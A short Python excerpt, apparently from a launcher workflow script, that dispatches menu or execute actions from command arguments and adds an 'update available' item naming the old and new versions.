handler = IndexWorkflowAction
action = next(iter(command), None)
if action:
handler = WORKFLOW_ACTIONS.get(action, IndexWorkflowAction)
if '--exec' in args:
handler().execute(command, cmd_pressed='--cmd' in args, shift_pressed='--shift' in args)
else: # show menu
handler().menu(command)
_notify_if_upgrade_available()
workflow().send_feedback()
def _notify_if_upgrade_available():
if workflow().update_available:
new_version = workflow().cached_data('__workflow_update_status', max_age=0)['version']
workflow().add_item('An update is available!',
'Update the workflow from version {} to {}'.format(__version__, new_version),
arg=':config update',
valid=True,
icon=icons.UPDATE)
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